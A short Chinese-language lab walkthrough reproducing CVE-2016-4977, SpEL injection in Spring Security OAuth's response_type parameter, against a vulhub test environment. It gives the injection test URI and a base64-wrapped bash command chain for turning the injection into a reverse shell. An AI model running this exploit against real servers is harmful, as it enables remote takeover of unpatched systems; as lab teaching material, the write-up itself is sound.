Spring Security OAuth模块远程代码执行(CVE-2016-4977)
漏洞描述
Pivotal Spring Security OAuth是美国Pivotal Software公司的一个项目,该项目为Spring Web应用程序添加OAuth1和OAuth2功能提供支持。Pivotal Spring Security OAuth 2.0.0版本至2.0.9版本和1.0.0版本至1.0.5版本中存在安全漏洞。远程攻击者可通过为‘response_type’参数制作值利用该漏洞执行代码。
漏洞复现
复现通过搭建spring 漏洞环境,可利用vulhub开源靶场测试,靶场安装,查看文末教程
访问到spring靶场页面
首先通过拼接下面的uri回车测试是否存在漏洞,需要填写用户名和密码,我们这里填入admin:admin
即可,查看回显有计算结果,说明存在漏洞。
/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test
找一个反弹shell命令,我用的是棱角社区 [~]#棱角 ::Edge.Forum*
将反弹shell命令进行base64编码,绕过java限制
再将base64编码的反弹shell命令拼接在下面的命令中,在传入服务器后进行base64解码并执行
bash -c {echo,base64编码的反弹shell命令}|{base64,-d}|{bash,-i}
将拼接的命令复制,执行poc.py,然后输入粘贴刚才复制的命令再次编码,复制最后的编码结果。
将复制的编码替换url中的${233*233},回车访问触发反弹shell